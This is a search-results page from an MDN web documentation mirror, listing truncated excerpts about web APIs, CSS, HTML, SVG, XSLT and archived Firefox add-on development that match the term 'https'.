an application can use the timing metrics to determine, for example, the length of time it takes to load a specific resource, such as an xmlhttprequest, <svg>, image, or script.
...this requires the server providing the resource to send the timing-allow-origin http response header with a value specifying the origin or origins which are allowed to get the restricted timestamp values.
... the encodedbodysize property returns the size (in octets) received from the fetch (http or cache), of the payload body, before removing any applied content-codings.
...And 2 more matches
URL API - Web APIs
WebAPIURL API
for example, to create a url and set its username: let myusername = "someguy"; let addr = new url("https://mysite.com/login"); addr.username = myusername; setting the value of username not only sets that property's value, but it updates the overall url.
... after executing the code snippet above, the value returned by addr.href is https://someguy@mysite.com/login.
...for example, if the url is https://mysite.com/login?user=someguy&page=news, then the value of the search property is ?user=someguy&page=news.
...And 2 more matches
Writing a WebSocket server in C# - Web APIs
nnected."); networkstream stream = client.getstream(); //enter to an infinite cycle to be able to handle every change in stream while (true) { while (!stream.dataavailable); byte[] bytes = new byte[client.available]; stream.read(bytes, 0, bytes.length); } handshaking when a client connects to a server, it sends a get request to upgrade the connection to a websocket from a simple http request.
... you must: obtain the value of the "sec-websocket-key" request header without any leading or trailing whitespace concatenate it with "258eafa5-e914-47da-95ca-c5ab0dc85b11" (a special guid specified by rfc 6455) compute sha-1 and base64 hash of the new value write the hash back as the value of "sec-websocket-accept" response header in an http response if (new system.text.regularexpressions.regex("^get").ismatch(data)) { const string eol = "\r\n"; // http/1.1 defines the sequence cr lf as the end-of-line marker byte[] response = encoding.utf8.getbytes("http/1.1 101 switching protocols" + eol + "connection: upgrade" + eol + "upgrade: websocket" + eol + "sec-websocket-accept: " + convert.tobase64string...
...write the hash back as the value of "sec-websocket-accept" response header in an http response string swk = regex.match(s, "sec-websocket-key: (.*)").groups[1].value.trim(); string swka = swk + "258eafa5-e914-47da-95ca-c5ab0dc85b11"; byte[] swkasha1 = system.security.cryptography.sha1.create().computehash(encoding.utf8.getbytes(swka)); string swkasha1base64 = convert.tobase64string(swkasha1); // http/...
...And 2 more matches
url() - CSS: Cascading Style Sheets
WebCSSurl()
/* simple usage */ url(https://example.com/images/myimg.jpg); url(data:image/png;base64,irxvb0…); url(myfont.woff); url(#idofsvgpath); /* associated properties */ background-image: url("https://mdn.mozillademos.org/files/16761/star.gif"); list-style-image: url('../images/bullet.jpg'); content: url("pdficon.jpg"); cursor: url(mycursor.cur); border-image-source: url(/media/diamonds.png); src: url('fantasticfont.woff'); off...
...set-path: url(#path); mask-image: url("masks.svg#mask1"); /* properties with fallbacks */ cursor: url(pointer.cur), pointer; /* associated short-hand properties */ background: url('https://mdn.mozillademos.org/files/16761/star.gif') bottom right repeat-x blue; border-image: url("/media/diamonds.png") 30 fill / 30px / 30px space; /* as a parameter in another css function */ background-image: cross-fade(20% url(first.png), url(second.png)); mask-image: image(url(mask.png), skyblue, linear-gradient(rgba(0, 0, 0, 1.0), transparent); /* as part of a non-shorthand multiple value */ content: url(star.svg) url(star.svg) url(star.svg) url(star.svg) url(star.svg); /* at-rules */ @document url("https://www.example.com/") { ...
... } @import url("https://www.example.com/style.css"); @namespace url(http://www.w3.org/1999/xhtml); relative urls, if used, are relative to the url of the stylesheet (not to the url of the web page).
...And 2 more matches
vertical-align - CSS: Cascading Style Sheets
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
...for example, it could be used to vertically position an <img> in a line of text: <p> top:<img style="vertical-align:top" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> middle:<img style="vertical-align:middle" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> bottom:<img style="vertical-align:bottom" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> super:<img style="vertical-align:super" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> sub:<img style="vertical-align:sub" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> </p> <p> text-top:<img style="vertical-align:text-top" src="ht...
...tps://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> text-bottom:<img style="vertical-align:text-bottom" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> 0.2em:<img style="vertical-align:0.2em" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> -1em:<img style="vertical-align:-1em" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> 20%:<img style="vertical-align:20%" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> -100%:<img style="vertical-align:-100%" src="https://udn.realityripple.com/samples/16/ed9c61c3b6.png"/> </p> #* { box-sizing: border-box; } img { margin-right: 0.5em; } p { height: 3em; padding: 0 .5em; font-family: monospace; text-decoration: underline overline; margin-left: auto; margin-right: auto...
...And 2 more matches
Index - Developer guides
WebGuideIndex
2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... 4 getting started ajax, api, advanced, javascript, webmechanics, xmlhttprequest this article guides you through the ajax basics and gives you some simple hands-on examples to get you started.
... 12 setting up adaptive streaming media sources audio, hls, html5, http live streaming, mpeg-dash, video, adaptive streaming let's say you want to set up an adaptive streaming media source on a server, to be consumed inside an html5 media element.
...And 2 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... no-referrer-when-downgrade: no referer header is sent when navigating to an origin without https.
... <img src="https://udn.realityripple.com/samples/6c/98485e5d8a.png" alt="mdn logo"> image link this example builds upon the previous one, showing how to turn the image into a link.
...And 2 more matches
<input>: The Input (Form Input) element - HTML: Hypertext Markup Language
WebHTMLElementinput
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request.
... for sending the element's directionality in form submission disabled all whether the form control is disabled form all associates the control with a form element formaction image, submit url to use for form submission formenctype image, submit form data set encoding type to use for form submission formmethod image, submit http method to use for form submission formnovalidate image, submit bypass form control validation for form submission formtarget image, submit browsing context for form submission height image same as height attribute for <img>; vertical dimension list almost all value of the id attribute of the <datalist> of autocomplete options ma...
...datalist> <datalist id="numbersxx"> <option>0</option> <option>2</option> <option>4</option> <option>8</option> <option>16</option> <option>32</option> <option>64</option> </datalist> <datalist id="fruitsxx"> <option>cherry</option> <option>banana</option> <option>mango</option> <option>orange</option> <option>blueberry</option> </datalist> <datalist id="urlsxx"> <option>https://developer.mozilla.org</option> <option>https://caniuse.com/</option> <option>https://mozilla.com</option> <option>https://mdn.github.io</option> <option>https://www.youtube.com/user/firefoxchannel</option> </datalist> <p><label for="textx">text</label> <input type="text" list="fruitsxx" id="textx"/></p> <p><label for="colorx">color</label> <input type="color" list="colorsxx" id="color...
...And 2 more matches
Standard metadata names - HTML: Hypertext Markup Language
WebHTMLElementmetaname
referrer: controls the http referer header for to requests sent from the document: values for the content attribute of <meta name="referrer"> no-referrer do not send a http referer header.
... no-referrer-when-downgrade send the full url when the destination is at least as secure as the current page (http(s)→https), but send no referrer when it's less secure (https→http).
... strict-origin send the origin when the destination is at least as secure as the current page (http(s)→https), but send no referrer when it's less secure (https→http).
...And 2 more matches
<script>: The Script element - HTML: Hypertext Markup Language
WebHTMLElementscript
no-referrer-when-downgrade (default): the referer header will not be sent to origins without tls (https).
...https→https), but don't send it to a less secure destination (e.g.
... https→http).
...And 2 more matches
itemprop - HTML: Hypertext Markup Language
html <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">trailer</a> </div> structured data item itemprop name itemprop value itemprop ...
... a meter element <div itemscope itemtype="http://schema.org/product"> <span itemprop="name">panasonic white 60l refrigerator</span> <img src="panasonic-fridge-60l-white.jpg" alt=""> <div itemprop="aggregaterating" itemscope itemtype="http://schema.org/aggregaterating"> <meter itemprop="ratingvalue" min=0 value=3.5 max=5>rated 3.5/5</meter> (based on <span itemprop="reviewcount">11</span> customer revi...
... names examples item itemprop name itemprop value itemprop country ireland itemprop option 2 itemprop https://www.flickr.com/photos/nlireland/6992065114/ ring of kerry itemprop img https://www.flickr.com/photos/nlireland/6992065114/ itemprop website flickr itemprop (token) (token) tokens are either strings or url's.
...And 2 more matches
Populating the page: how browsers work - Web Performance
if you navigate to https://example.com, the html page is located on the server with ip address of 93.184.216.34.
...this mechanism is designed so that two entities attempting to communicate—in this case the browser and web server—can negotiate the parameters of the network tcp socket connection before transmitting data, often over https.
... tls negotiation for secure connections established over https, another "handshake" is required.
...And 2 more matches
begin - SVG: Scalable Vector Graphics
WebSVGAttributebegin
examples offset example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="100" begin="0s" dur="8s" fill="freeze" /> </rect> <rect x="35" y="60" height="15" width="0"> <animate attributetype="xml" attributename="width" to="75" ...
... x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="105" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="105" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> begin-1-offset.svg syncbase example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangles --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" to="50" id="first" begin="0s;third.end" dur="4s" /> </rect> <rect x="60" y="60" height="15" width="0"> <animate attributetype="xml" attribu...
...t x="110" y="20" text-anchor="middle">8s</text> <line x1="110" y1="25" x2="110" y2="105" stroke="grey" stroke-width=".5" /> <line x1="10" y1="30" x2="110" y2="30" stroke="grey" stroke-width=".5" /> <line x1="10" y1="105" x2="110" y2="105" stroke="grey" stroke-width=".5" /> </svg> begin-2-syncbase.svg event example <svg width="120" height="120" viewbox="0 0 120 120" xmlns="http://www.w3.org/2000/svg" version="1.1" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- animated rectangle --> <rect x="10" y="35" height="15" width="0"> <animate attributetype="xml" attributename="width" from="0" to="100" begin="startbutton.click" dur="8s" fill="freeze" /> </rect> <!-- trigger --> <rect id="startbutton" style="cu...
...And 2 more matches
stroke-linecap - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it has effect only on the following eight elements: <altglyph>, <path>, <polyline>, <line>, <text>, <textpath>, <tref>, and <tspan> html,body,svg { height:100% } <svg viewbox="0 0 6 6" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the (default) "butt" value --> <line x1="1" y1="1" x2="5" y2="1" stroke="black" stroke-linecap="butt" /> <!-- effect of the "round" value --> <line x1="1" y1="3" x2="5" y2="3" stroke="black" stroke-linecap="round" /> <!-- effect of the "square" value --> <line x1="1" y1="5" x2="5" y2="5" stroke="black" stroke-linecap=...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "butt" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="butt" /> <!-- effect of the "butt" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="butt" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stroke-w...
... example html,body,svg { height:100% } <svg viewbox="0 0 6 4" xmlns="http://www.w3.org/2000/svg"> <!-- effect of the "round" value --> <path d="m1,1 h4" stroke="black" stroke-linecap="round" /> <!-- effect of the "round" value on a zero length path --> <path d="m3,3 h0" stroke="black" stroke-linecap="round" /> <!-- the following pink lines highlight the position of the path for each stroke --> <path d="m1,1 h4" stroke="pink" stro...
...And 2 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
<?xml version="1.0" standalone="no"?> <svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1"> <line x1="40" x2="120" y1="20" y2="20" stroke="black" stroke-width="20" stroke-linecap="butt"/> <line x1="40" x2="120" y1="60" y2="60" stroke="black" stroke-width="20" stroke-linecap="square"/> <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="round"/> </svg> the stroke-width property defines the width of this st...
... <?xml version="1.0" standalone="no"?> <svg width="160" height="280" xmlns="http://www.w3.org/2000/svg" version="1.1"> <polyline points="40 60 80 20 120 60" stroke="black" stroke-width="20" stroke-linecap="butt" fill="none" stroke-linejoin="miter"/> <polyline points="40 140 80 100 120 140" stroke="black" stroke-width="20" stroke-linecap="round" fill="none" stroke-linejoin="round"/> <polyline points="40 220 80 180 120 220" stroke="black" stroke-width="20" ...
... <?xml version="1.0" standalone="no"?> <svg width="200" height="150" xmlns="http://www.w3.org/2000/svg" version="1.1"> <path d="m 10 75 q 50 10 100 75 t 190 75" stroke="black" stroke-linecap="round" stroke-dasharray="5,10,5" fill="none"/> <path d="m 10 75 l 190 75" stroke="red" stroke-linecap="round" stroke-width="1" stroke-dasharray="5,5" fill="none"/> </svg> the stroke-dasharray attribute takes a series of comma-separated numbers as its argument.
...And 2 more matches
Gradients in SVG - SVG: Scalable Vector Graphics
basic example <svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <lineargradient id="gradient1"> <stop class="stop1" offset="0%"/> <stop class="stop2" offset="50%"/> <stop class="stop3" offset="100%"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1"> <stop offset="0%" stop-color="red"/> <stop offset="50%" stop-color="black" stop-opacity="0"/>...
... <lineargradient id="gradient1"> <stop id="stop1" offset="0%"/> <stop id="stop2" offset="50%"/> <stop id="stop3" offset="100%"/> </lineargradient> <lineargradient id="gradient2" x1="0" x2="0" y1="0" y2="1" xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#gradient1"/> i've included the xlink namespace here directly on the node, although usually you would define it at the top of your document.
... basic example <?xml version="1.0" standalone="no"?> <svg width="120" height="240" version="1.1" xmlns="http://www.w3.org/2000/svg"> <defs> <radialgradient id="radialgradient1"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> <radialgradient id="radialgradient2" cx="0.25" cy="0.25" r="0.25"> <stop offset="0%" stop-color="red"/> <stop offset="100%" stop-color="blue"/> </radialgradient> </defs> <rect x="10" y="10" rx="15" ry="15" width="100" ...
...And 2 more matches
Insecure passwords - Web security
serving login forms over http is especially dangerous because of the wide variety of attacks that can be used against them to extract a user’s password.
... the https protocol is designed to protect user data from eavesdropping (confidentiality) and from modification (integrity) on the network.
... websites that handle user data should use https to protect their users from attackers.
...And 2 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
the mandatory namespace for xslt is "http://www.w3.org/1999/xsl/transform".
...the string "http://www.w3.org/1999/xsl/transform" is a constant that designates the elements so marked as belonging to the set of tags designated by the w3c in the 1999 xslt recommendation.
... another string that is occasionally seen in stylesheets, "http://www.w3.org/tr/wd-xsl", indicates compliance with an earlier working draft (hence the wd) of the w3c document.
...And 2 more matches
Basic Example - XSLT: Extensible Stylesheet Language Transformations
figure 4 : xml file <?xml version="1.0"?> <myns:article xmlns:myns="http://devedge.netscape.com/2002/de"> <myns:title>my article</myns:title> <myns:authors> <myns:author company="foopy corp.">mr.
... </myns:body> </myns:article> figure 5 : xslt stylesheet <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/xsl/transform" xmlns:myns="http://devedge.netscape.com/2002/de"> <xsl:output method="html" /> <xsl:template match="/"> <html> <head> <title> <xsl:value-of select="/myns:article/myns:title"/> </title> <style type="text/css"> .mybox {margin:10px 155px 0 50px; border: 1px dotted #639ace; padding:0 5px 0 5px;} </style> </head> <body> <p class="mybox"> <span class=...
...elect="@company" /> </b> </xsl:if> <br /> </xsl:template> <xsl:template match="myns:body"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> <xsl:template match="@*|node()"> <xsl:copy> <xsl:apply-templates select="@*|node()"/> </xsl:copy> </xsl:template> </xsl:stylesheet> the example loads using synchronous xmlhttprequest both the .xsl (xslstylesheet) and the .xml (xmldoc) files into memory.
...And 2 more matches
Communicating With Other Scripts - Archive of obsolete content
in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // content-script (talk.js) window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain.
... here "main.js" creates a page-mod that attaches "listen.js" to the web page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" embeds a script that uses window.postmessage() to send the content script a message when the user clicks a button: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { window.postmessage("message from page script", "http://my-domain.org/"); } ...
...so the content scripts in the above examples need to be rewritten like this: // content-script.js document.defaultview.postmessage("message from content script", "http://my-domain.org/"); // content-script.js document.defaultview.addeventlistener('message', function(event) { console.log(event.data); // message from page script console.log(event.origin); }, false); using custom dom events as an alternative to using postmessage() you can use custom dom events to communicate between page scripts and content scripts.
... in this example, "main.js" creates a page-mod to target the page we are interested in: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" creates and dispatches a custom dom event, using initcustomevent()'s detail parameter to supply the payload: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { var event = document.createevent('customevent'); event.initcustomevent("addon-m...
Interacting with page scripts - Archive of obsolete content
in the main add-on code, we have a page-mod that attaches the content script "talk.js" to the right page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/listen.html", contentscriptfile: data.url("talk.js") }); the "talk.js" content script uses window.postmessage() to send the message to the page: // talk.js window.postmessage("message from content script", "http://my-domain.org/"); the second argument may be '*' which will allow communication with any domain.
... here "main.js" creates a page-mod that attaches "listen.js" to the web page: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" embeds a script that uses window.postmessage() to send the content script a message when the user clicks a button: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { window.postmessage("message from page script", "http://my-domain.org/"); } ...
...so the content scripts in the above examples need to be rewritten like this: // talk.js document.defaultview.postmessage("message from content script", "http://my-domain.org/"); // listen.js document.defaultview.addeventlistener('message', function(event) { console.log(event.data); // message from page script console.log(event.origin); }, false); using custom dom events as an alternative to using postmessage() you can use custom dom events to communicate between page scripts and content scripts.
... in this example, "main.js" creates a page-mod to target the page we are interested in: var data = require("sdk/self").data; var pagemod = require("sdk/page-mod"); pagemod.pagemod({ include: "http://my-domain.org/talk.html", contentscriptfile: data.url("listen.js") }); the web page "talk.html" creates and dispatches a custom dom event, using initcustomevent()'s detail parameter to supply the payload: <!doctype html> <html> <head></head> <body> <script> function sendmessage() { var event = document.createevent('customevent'); event.initcustomevent("addon-m...
Modules - Archive of obsolete content
for instance, the option paths is used to specify a list of paths to be used by the loader to resolve relative urls: let loader = loader({ paths: ["./": "http://www.foo.com/"] }); commonjs also defines the notion of a main module.
...instead, the main module is loaded using a special function, called main: const { loader, main } = require('toolkit/loader'); let loader = loader({ paths: ["./": "http://www.foo.com/"] }); main(loader, "./main.js"); secondly, the main module is defined as a property on require.
...the resolved id is then further resolved using the paths array: const { loader, main } = require('toolkit/loader'); let loader = loader({ paths: ["./": "http://www.foo.com/"], resolve: function (id, requirer) { // your code here return id; } }); main(loader, "./main.js"); cuddlefish uses a custom resolve function to implement a form of access control: modules can only require modules for which they have been explicitly granted access.
...cuddlefish uses this option to expose the components object as a module called chrome, in a way similar to the code here below: const { classes: cc, constructor: cc, interfaces: ci, utils: cu, results: cr, manager: cm } = components; let loader = loader({ paths: ["./": "http://www.foo.com/"], resolve: function (id, requirer) { // your logic here return id; }, modules: { 'chrome': { components: components, cc: cc, cc: bind(cc, components), ci: ci, cu: cu, cr: cr, cm: cm } } }); all accesses to the chrome module go through this one point.
ui/button/toggle - Archive of obsolete content
for example, you might want to give it a different appearance when the current page is being served over https.
... default label opens a new tab sets a new label only for the new tab logs the result of accessing the global label, the window-specific label, and each of the 2 tab-specific labels var { togglebutton } = require('sdk/ui/button/toggle'); var tabs = require("sdk/tabs"); var button = togglebutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: onnewtab }); function onnewtab(tab) { // modify the label only for the new tab button.state(tab, { "label" : "tab-specific label" }); // access the global label -> "default label" console.log(button.label); // access the window's label -> "default label" console.log(button.state("window").label); // access the first tab's label -> "default label...
...for example, if you have a window with two tabs, and you set a tab-specific label, then set the window-specific label, this will not overwrite the tab-specific label: var { togglebutton } = require('sdk/ui/button/toggle'); var tabs = require("sdk/tabs"); var button = togglebutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: onnewtab }); function onnewtab(tab) { // modify the label only for the new tab button.state(tab, { "label" : "tab-specific label" }); // modify the label for the window button.state("window", { "label" : "window-specific label" }); // access the global label -> "default label" console.log(button.label); // access the window's label -> "win...
...after that, the property will inherit its value from the less-specific state as before: var { togglebutton } = require('sdk/ui/button/toggle'); var tabs = require("sdk/tabs"); var button = togglebutton({ id: "my-button", label: "default label", icon: "./firefox-16.png" }); tabs.open({ url: "https://mozilla.org/", onopen: onnewtab }); function onnewtab(tab) { // modify the label only for the new tab button.state(tab, { "label" : "tab-specific label" }); // modify the label for the window button.state("window", { "label" : "window-specific label" }); // access the global label -> "default label" console.log(button.label); // access the window's label -> "win...
Creating annotations - Archive of obsolete content
activate the annotator by clicking the widget and load a page: the screenshot below uses http://blog.mozilla.com/addons/2011/02/04/ overview-amo-review-process/.
... you should see the highlight appearing when you move the mouse over certain elements: click on the highlight and you should see something like this in the console output: info: show info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/, post-2249,when you submit a new add-on, you will have to choose between 2 review tracks: full review and preliminary review.
... annotation editor html the html is very simple: <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"> <head> <title>annotation</title> <style type="text/css" media="all"> body { font: 100% arial, helvetica, sans-serif; background-color: #f5f5f5; } textarea { width: 180px; height: 180px; margin: 10px; padding: 0px; } </style> </head> <body> <textarea ro...
...you should see a panel with a text area for a note: enter the note and press the return key: you should see console output like this: info: http://blog.mozilla.com/addons/2011/02/04/overview-amo-review-process/, post-2249,when you submit a new add-on, you will have to choose between 2 review tracks: full review and preliminary review.
Dialogs and Prompts - Archive of obsolete content
<?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/global.css" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." title="..." buttons="accept,cancel" ondialogaccept="return onaccept();" ondialogcancel="return oncancel();"> <script src="chrome://..."/> <!-- content --> </dialog> you need to implement onaccept and oncancel functions in your script.
...for example, to add an apply button to your dialog, use the following code: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="..." buttons="accept,cancel,extra1" ondialogaccept="onaccept();" ondialogextra1="onapply();" buttonlabelextra1="apply" buttonaccesskeyextra1="a"> <!-- content --> </dialog> you can even get the element object for any of predefined buttons with gdialog.getbutton(dlgtype);, where gdialog is the <dialog> element and dlgtype...
... example: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" ondialogaccept="alert('ok!');"> <hbox> <label value="hey!"/> <spacer flex="1"/> <vbox> <button dlgtype="accept"/> <button dlgtype="cancel"/> </vbox> </hbox> </dialog> default button since firefox 1.5, there are defaultbutton attributes and properties on the <dialog> element bug 284776.
... } mydialog.xul: <dialog xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" id="mydialogid" title="my dialog" ondialogaccept="return onok();" onload="onload();" persist="screenx screeny width height" windowtype="mydialogwindowtype"> <script type="application/javascript" src="chrome://myext/content/mydialog.js"/> <grid> <columns><column/><column/></columns> <rows> <row align="center">...
Appendix: What you should know about open-source software licenses - Archive of obsolete content
if not, see <http://www.gnu.org/licenses/>.
... references the open source definition http://www.opensource.org/docs/definition.html the freebsd copyright http://www.freebsd.org/copyright/freebsd-license.html mozilla public license http://www.mozilla.org/mpl/mpl-1.1.html mpl faq http://www.mozilla.org/mpl/mpl-faq.html common public license http://opensource.org/licenses/cpl1.0.php gnu general public license (gpl) http://www.gnu.org/licenses/gpl.html gnu lesser general public...
... license (lgpl) http://www.gnu.org/licenses/lgpl.html various licenses and comments about them http://www.gnu.org/licenses/license-list.html the bsd license problem http://www.gnu.org/philosophy/bsd.html the free software license diagnostic (in japanese) http://www.rubyist.net/~matz/20030608.html#p02 openoffice.org joint copyright assignment (jca) http://www.openoffice.org/licenses/jca.pdf gnu free documentation license (gfdl) http://www.gnu.org/licenses/fdl.html creative commons http://www.creativecommons.cc/ gnu gplv3 second discussion draft http://gplv3.fsf.org/gpl-draft-2006-07-27.html gnu gplv3 third discussion draft http://gplv3.fsf.org/gpl-draft-2007-03-28.html gnu gplv3 "last call" discussion draft http://gplv3.fsf.org/gpl-draft-2007-05-31.html official support for ...
...this report is available online (in japanese) at http://www.meti.go.jp/kohosys/press/0004397/ the ipa has also established an open-source software center to promote and cultivate oss http://www.ipa.go.jp/software/open/o...ish/index.html ...
Chapter 4: Using XPCOM—Implementing advanced processes - Archive of obsolete content
listing 1: calling xpcom functions using xpconnect <?xml version="1.0" encoding="utf-8"?> <page xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/javascript"><![cdata[ var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); alert(ioservice); ]]></script> </page> calling xpconnect using local files try saving the contents of listing 1 as the file test.xul, somew...
...for example, using the loaduri() method on the browser element introduced in chapter 3 can open a page specified using http_referer, as shown in listing 21; listing 22 shows how to open a page using the loaduriwithflags() method, with data transmitted via the post method.
... listing 21: loading a page by setting a referrer var browser = document.getelementbyid('browser'); var ioservice = components.classes['@mozilla.org/network/io-service;1'] .getservice(components.interfaces.nsiioservice); var referrer = ioservice.newuri('http://www.gihyo.co.jp/', null, null); browser.loaduri('http://www.gihyo.co.jp/magazines/sd', referrer); listing 22: loading a page with data transmitted via the post method var content = encodeuricomponent('password=foobar'); var referrer = null; var postdata = components.classes['@mozilla.org/io/string-input-stream;1'] .createinstance(components.interfaces.nsistringinputstream); content = 'content-type: application/x-www-form-urlencoded\n'+ 'content-length: '+content.length+'\n\n'+ conte...
...nt; postdata.setdata(content, content.length); var flags = components.interfaces.nsiwebnavigation.load_flags_none; browser.loaduriwithflags('http://piro.sakura.ne.jp/', flags, referrer, null, postdata); « previousnext » ...
Appendix F: Monitoring DOM changes - Archive of obsolete content
network listeners ajax-based page changes are almost universally tied to xmlhttprequests.
... these requests can be tracked from chrome code using a variety of methods, including web progress listeners, http observers, and content policies.
... while these are not exceptionally efficient (they run for every http request, and considerably more often for some methods), they work very well for certain applications pure css pure css can be more powerful than most people suspect.
... */ if ('mozcsskeyframerule' in window || 'csskeyframerule' in window) { var watchnodes = function watchnodes(selector, callback, doc) { const event = watchnodes.prefix + (watchnodes._i++); const xhtml = 'http://www.w3.org/1999/xhtml'; doc = doc || document; let style = doc.createelementns(xhtml, 'style'); style.setattribute('type', 'text/css'); let preamble = ' @-moz-keyframes ' + event + ' { \n\ from { clip: rect(1px, auto, auto, auto); } to { clip: rect(0px, auto, auto, auto); } \n\ }\n'; let properties = [ 'animation-dur...
Appendix E: DOM Building and Insertion (HTML & XUL) - Archive of obsolete content
json templating jsontodom.namespaces = { html: "http://www.w3.org/1999/xhtml", xul: "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" }; jsontodom.defaultnamespace = jsontodom.namespaces.html; function jsontodom(jsontemplate, doc, nodes) { function namespace(name) { var reelemnameparts = /^(?:(.*):)?(.*)$/.exec(name); return { namespace: jsontodom.namespaces[reelemnameparts[1]], shortname: reelemnameparts[2] };...
...event listeners can be defined on the given nodes by passing functions rather than strings to on* attributes: var href = "http://www.google.com/"; var text = "google"; var nodes = {}; document.documentelement.appendchild( jsontodom(["xul:hbox", {}, ["div", {}, ["a", { href: href, key: "link", onclick: function (event) { alert(event.target.href); } }, text], ["span", { class: "stuff" }, "stuff"]]], document, nodes)); alert(nod...
... var href = "http://www.google.com/"; var text = "google"; $("body").append( $("<div>", { class: "foo" }) .append($("<a>", { href: href, text: text }) .click(function (event) { alert(event.target.href) })) .append($("<span>").text("foo"))); innerhtml with html escaping this method is a last resort which should be used only as a temporary measure in established code bases.
... var href = "http://www.google.com/"; var text = "google"; document.getelementbyid("target-div").innerhtml = '<div>\ <a href="' + escapehtml(href) + '" target="_top">' + escapehtml(text) + '</a>\ </div>' it needs to be stressed that this method should not be used in new code and is only a temporary measure to shore up legacy code bases.
Setting Up a Development Environment - Archive of obsolete content
on windows and linux it's easy to create shortcuts for every profile you create, using the commands described at http://kb.mozillazine.org/command_line_arguments .
... tamper data tamper data intercepts http requests and their responses.
